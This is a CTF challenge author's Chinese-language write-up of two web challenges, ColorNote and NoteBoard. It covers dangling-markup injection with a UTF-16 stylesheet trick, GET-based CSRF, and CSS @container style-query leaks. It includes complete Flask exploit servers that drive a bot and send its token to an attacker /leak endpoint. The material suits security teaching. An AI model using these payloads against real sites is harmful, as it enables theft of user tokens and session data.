京麒CTF2026 Web 出题小记
这次出了ColorNote和NoteBoard两道题
依旧被非预期,,,
ColorNote本意是打悬空标记注入,使用utf-16编码绕过谷歌浏览器限制
但被CSSLeak给非预期了,在12s的bot窗口内按位泄露token,,,
下次应该把token改长一点(
以下是出题时写的WP:
ColorNote
目标是拿到 Admin Bot 的 token 然后访问 /redeem 兑换 flag
管理员每次访问选手链接前,都会创建一个临时账号,并初始化两条 note:
store.users.set(adminUsername, {
password: token,
themeId: theme.id,
notes: [
seedSecretNote(token),
createNoteRecord("First Note", "Nothing Here"),
],
});note 的正文 bodyHtml 会被原样渲染:
<div class="note-body"><%- note.bodyHtml || "" %></div>
但是 CSP 很严格,没法XSS:
const csp = [
"default-src 'none'",
"script-src 'none'",
"style-src 'self' data:",
"img-src * data:",
"font-src 'none'",
"connect-src 'none'",
"frame-src 'none'",
"object-src 'none'",
"base-uri 'none'",
"form-action 'self'",
].join("; ");
目前只有style-src 'self' data:以及img-src * data:有用
这里我们可以使用悬空标记注入来打
最经典的是插入一个故意不闭合的属性,比如:
<img src='http://attacker/?d=
直到遇到下一个单引号闭合,中间的内容均会被发送到攻击者的服务器,也就是:
<img src='http://attacker/?d=......后续HTML......'
然而 Chrome 在很早的版本中就有针对悬空标记注入的防御,会阻止 img 等标签定义包含尖括号和换行符等原始字符的 URL
但这个防御能被绕过。具体方案是,利用悬空 stylesheet,同时设置charset=utf-16使后续HTML内容以utf-16解释。这样在浏览器看起来,HTML内容就是乱码,而不会包含尖括号,换行符等内容。可用payload为
<link rel=stylesheet href='data:text/css;charset=utf-16,...
这样后续所有内容均会被以utf-16解释
然后加个CSS前缀,用background-image来leak后面的字符,注意这个CSS前缀需要以以utf-16编码
*{background-image:url(http://ATTACKER/leak?d=
然后利用编辑功能,修改token下方的note来闭合前面的单引号即可
参考EXP:
import re
from flask import Flask, Response, request
CHALL_ORIGIN = "http://localhost:3000"
PORT = 5000
app = Flask(__name__)
def decode_utf16_stream(encoded):
remaining = encoded
out = []
while remaining:
chunk = remaining[:9]
if not re.fullmatch(r"(?:%[0-9a-fA-F]{2}){3}", chunk):
break
remaining = remaining[9:]
parts = chunk.split("%")[1:]
bits = ""
for index, part in enumerate(parts):
byte_bits = format(int(part, 16), "08b")
bits += byte_bits[4:] if index == 0 else byte_bits[2:]
out.append(chr(int(bits[8:], 2)))
out.append(chr(int(bits[:8], 2)))
return "".join(out)
def payload_for_leak(exfil_url):
resource = f"*{{background-image:url({exfil_url}"
encoded = "".join(f"{char}%00" for char in resource)
return f"\x7f<link rel=stylesheet href='data:text/css;charset=utf-16,{encoded}"
@app.get("/exploit")
def exploit():
public_origin = request.host_url.rstrip("/")
payload = payload_for_leak(f"{public_origin}/leak?d=")
return f"""<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>exploit</title>
</head>
<body>
<script>
const chall = {CHALL_ORIGIN!r};
const popup = window.open("about:blank", "leakwin");
const createForm = document.createElement("form");
createForm.method = "POST";
createForm.action = chall + "/notes/create";
createForm.target = "leakwin";
const editForm = document.createElement("form");
editForm.method = "POST";
editForm.action = chall + "/notes/2/edit";
editForm.target = "leakwin";
const createFields = {{
title: "Scratch",
bodyHtml: {payload!r}
}};
const editFields = {{
title: "First Note",
bodyHtml: "Nothing Here'"
}};
for (const [name, value] of Object.entries(createFields)) {{
const input = document.createElement("input");
input.type = "hidden";
input.name = name;
input.value = value;
createForm.appendChild(input);
}}
for (const [name, value] of Object.entries(editFields)) {{
const input = document.createElement("input");
input.type = "hidden";
input.name = name;
input.value = value;
editForm.appendChild(input);
}}
document.body.appendChild(createForm);
document.body.appendChild(editForm);
setTimeout(() => createForm.submit(), 100);
setTimeout(() => editForm.submit(), 1500);
setTimeout(() => {{
if (popup) {{
popup.location = chall + "/notes";
}}
}}, 3500);
</script>
</body>
</html>"""
@app.get("/leak")
def leak():
raw = request.query_string.decode("latin-1")
hit = raw.split("d=", 1)[1] if "d=" in raw else ""
decoded = decode_utf16_stream(hit)
print(f"[leak] {decoded}", flush=True)
m = re.search(r"<!--([0-9a-f]{32})-->", decoded, re.I)
if m:
token = m.group(1)
print(f"[token] {token}", flush=True)
else:
print("[-] token not found in HTML comment", flush=True)
return Response(status=204, headers={"Cache-Control": "no-store"})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=PORT)NoterBoard
题目是一个Note看板应用。每次运行 bot 都会创建一个临时管理员账号,登录后访问选手提交的链接
管理员初始化一个 board,内有三条记录:
function seedAdminBoard(token) {
return createBoard("secret", "something important", [
"here is the token",
`token{${token}}`,
"it can redeem flag",
]);
}Token 可访问 /redeem并兑换 Flag,因此我们的目标是拿到 Token
首页 /boards 会为每个 board 生成摘要,摘要只取未完成记录的前 3 条,用 , 拼接,长度超过 420 会截断:
function buildDigest(board) {
const digest = getVisibleEntries(board)
.slice(0, 3)
.map((entry) => entry.content.trim())
.join(", ");
return digest.length > 420 ? `${digest.slice(0, 420)}...` : digest;
}预览接口 /boards/preview/:id/:pos 会直接返回记录原文:
router.get("/boards/preview/:id/:pos", requireLogin, (req, res) => {
res.set("Content-Type", "text/html; charset=utf-8");
return res.end(result.board.entries[pos].content);
});
有全站 CSP ,img-src 可用于泄露,但script-src,base-uri等限制了XSS的可能
res.setHeader(
"Content-Security-Policy",
[
"default-src 'self'",
"img-src 'self' data: http: https:",
`script-src 'nonce-${pageNonce}'`,
`style-src 'self' 'nonce-${pageNonce}'`,
"object-src 'none'",
"base-uri 'none'",
].join("; ")
);主要写操作都是 GET请求,因此可以通过顶级导航不断访问这些 GET 路由来达成CSRF:
//例如:
router.get("/boards/create", requireLogin, handleCreateBoard);
router.get("/boards/:id/add", requireLogin, handleAddEntry);在被限制了XSS,又没看到XSLeak端口的情况下,我们可以考虑CSS Leak
CSS Leak一般是将需要的文本放进某个CSS能够读取的属性值,再准备一组候选值去比较,命中则通过background等触发一条外带请求来实现,然而本题的 Token 并不在属性值里,因此需要找到一张办法,让 CSS 能够读取并比较
首先,尽管部分页面,例如首页/boards 会返回Content-Type: text/html; charset=utf-8,但是如果使用<link rel=stylesheet href=/boards>,将HTML作为stylesheet来引用并解析,浏览器并不会阻止
要让/boards作为CSS解析,我们需要在HTML中插入部分内容,HTML成为一个可解析的CSS
/boards的摘要功能便派上了用场,我们可以在一个board下新建一个Note并插入类似{}*{--x:的内容,这样会让 CSS 解析器忽略前面杂乱的HTML,开始将后续内容作为* 这个选择器的一个自定义属性 --x,也就是剩下的HTML内容:, 摘要1, 摘要2</pre></article>...</html>
然后我们只需要生成候选值并与自定义属性 --x的值进行比较。例如我们生成一组候选值,假设为--y,那么我们可以这样比较
@container style(--x: var(--y)) {
body { background: url("http://ATTACKER/leak") }
}当两组值相同,则会发起一个leak请求
这个方案要求我们能够预测 --x的内容,而刚好题目的摘要功能会有字符串截断,并使用...代替后续内容。也就是如果我们刚好控制token在我们需要的位置截断,那么就能进行预测了,此时HTML大致如下
{}*{--x:, token{y...</pre></article>...</html>
然后我们针对截断处的token生成多份候选值,通过前面的方式进行对比即可leak出一位token
题目仅允许加载同源 stylesheet ,只需要新开一个board,里面写上不同的候选值,在本题环境下大概如下
*{--y_0:, token{0...</pre>
</article>
</section>
</main>
</body>
</html>然后通过一个CSS进行加载,我们记为query
@import url(/boards/preview/0/1);
@import url(/boards/preview/0/2);
...
@container style(--x: var(--y_0)) {
body { background: url("http://ATTACKER/leak/token%7B0") }
}
@container style(--x: var(--y_1)) {
body { background: url("http://ATTACKER/leak/token%7B1") }
}
...
然后插入一条note作为html读取
<!-- 将/boards作为CSS加载 -->
<link rel=stylesheet href=/boards>
<!-- 加载query样式 -->
<link rel=stylesheet href=/boards/preview/0/1>接下来将思路落实即可
先新建一个 styles board ,新 board 会插到最前面,原 board 编号顺移,所以第 n 轮里 secret board 的编号是 n
每一轮在新的 styles board 里写入 19 条记录:
1 条 HTML loader
2 条 query 样式(单个 note 有上限,因此这里用两个 query )
16 条候选值,对应
0-9a-f
最终 styles board 的记录顺序如下:
0. loader
1. query_0
2. query_1
3. var_0
4. var_1
...
18. var_floader 还需要额外带一条 <meta http-equiv=refresh>,用来在一轮比较完成后回到攻击端,继续下一轮:
<meta http-equiv=refresh content="2;url=http://ATTACKER/exploit">
<link rel=stylesheet href=/boards>
<link rel=stylesheet href=/boards/preview/0/1>
<link rel=stylesheet href=/boards/preview/0/2>然后把 styles board 里的 19 条记录全部标记为 done,确保摘要里不会出现这些样式内容
接着回到 secret board,在最前面插入一条占位记录:
aaaa....aaaa{}*{--x:第一轮还需要额外访问一次:
/boards/1/toggle/1把 here is the token 标记为完成,这样 secret board 当前可见的前三条记录就是:
占位, token{xxxxxxxxxxxx}, it can redeem flag然后导航到 loader 里,便完成了整个 CSS Leak 的链路
参考EXP(服务器端):
import json, threading
from urllib.parse import quote, unquote
from flask import Flask, Response, jsonify
PORT = 8080
PUBLIC_ORIGIN = f"http://ip:{PORT}"
A = 300
S = 450
B = 350
R = 2
TAIL = "...</pre>\r\n </article>\r\n \r\n </section>\r\n</main>\r\n</body>\r\n</html>"
app = Flask(__name__)
LOCK = threading.Lock()
LEAKED = "token{"
HITS = []
def snapshot():
with LOCK:
return {"leaked": LEAKED, "hits": list(HITS)}
def update(leaked):
global LEAKED
with LOCK:
LEAKED = leaked
HITS.append(leaked)
def reset_state():
global LEAKED, HITS
with LOCK:
LEAKED, HITS = "token{", []
def chars(leaked): return "0123456789abcdef" if len(leaked) < 18 else "}" if len(leaked) == 18 else ""
def key(char): return "brace" if char == "}" else char
def style_entries(leaked):
pool = list(chars(leaked))
groups = [pool[i:i + 8] for i in range(0, len(pool), 8)]
q = len(groups)
out = []
for gi, group in enumerate(groups):
imports = "".join(
f"@import url(/boards/preview/0/{1 + q + gi * 8 + off});"
for off, _ in enumerate(group)
)
rules = "".join(
f"@container style(--x: var(--y_{key(c)}))"
f"{{body{{background:url(\"{PUBLIC_ORIGIN}/leak/{quote(leaked + c, safe='')}\")}}}}"
for c in group
)
out.append(imports + rules)
out.extend(f"*{{--y_{key(c)}:, {leaked}{c}{TAIL}" for c in pool)
return out
def placeholder(leaked):
return "a" * (420 - len(leaked) - 11) + "{}*{--x:"
def loader(q, leaked):
target = f"{PUBLIC_ORIGIN}/exploit?state={quote(leaked, safe='')}"
links = "<link rel=stylesheet href=/boards>" + "".join(f"<link rel=stylesheet href=/boards/preview/0/{i}>" for i in range(1, q + 1))
return f"<meta http-equiv=refresh content=\"{R};url={target}\">{links}"
def page():
leaked = snapshot()["leaked"]
entries = style_entries(leaked)
q = (len(chars(leaked)) + 7) // 8
return Response(
(
"<!doctype html><meta charset=utf-8><title>x</title><script>"
f"const C={json.dumps(leaked)},E={json.dumps(entries)},P={json.dumps(placeholder(leaked))},L={json.dumps(loader(q, leaked))};"
f"const A={A},S={S},B={B};"
"const T='http://localhost:3000',Z=ms=>new Promise(r=>setTimeout(r,ms));"
"let w;const U=(p,o={})=>{const u=new URL(p,T);for(const[k,v]of Object.entries(o))u.searchParams.set(k,v);return u+''};"
"const V=async u=>{(w&&!w.closed?w:w=window.open('about:blank','runner')).location=u;await Z(A)};"
"onload=async()=>{if(C.endsWith('}')||C.length>19){document.body.textContent=C;return}"
"await Z(B);const s=C.length-5;"
"await V(U('/boards/create',{title:'styles',description:'same origin stylesheet'}));await Z(S);"
"if(s>1){await V(U('/boards/'+s+'/delete/0'));await Z(S)}"
"await V(U('/boards/'+s+'/add',{content:P}));await Z(S);"
"for(let i=E.length-1;i>=0;i--)await V(U('/boards/0/add',{content:E[i]}));"
"await V(U('/boards/0/add',{content:L}));await Z(S);"
"for(let i=0;i<=E.length;i++)await V(U('/boards/0/toggle/'+i));"
"await Z(S);if(s===1){await V(U('/boards/1/toggle/1'));await Z(S)}"
"location=T+'/boards/preview/0/0'};"
"</script>"
),
mimetype="text/html",
)
@app.after_request
def no_store(response):
response.headers["Cache-Control"] = "no-store"
return response
@app.get("/exploit")
def exploit():
return page()
@app.get("/leak/<path:value>")
def leak(value):
leaked = unquote(value)
update(leaked)
print(f"[leak] {leaked}", flush=True)
return "ok"
if __name__ == "__main__":
print(f"Exploit server listening on {PUBLIC_ORIGIN}", flush=True)
app.run(host="0.0.0.0", port=PORT, debug=False, use_reloader=False)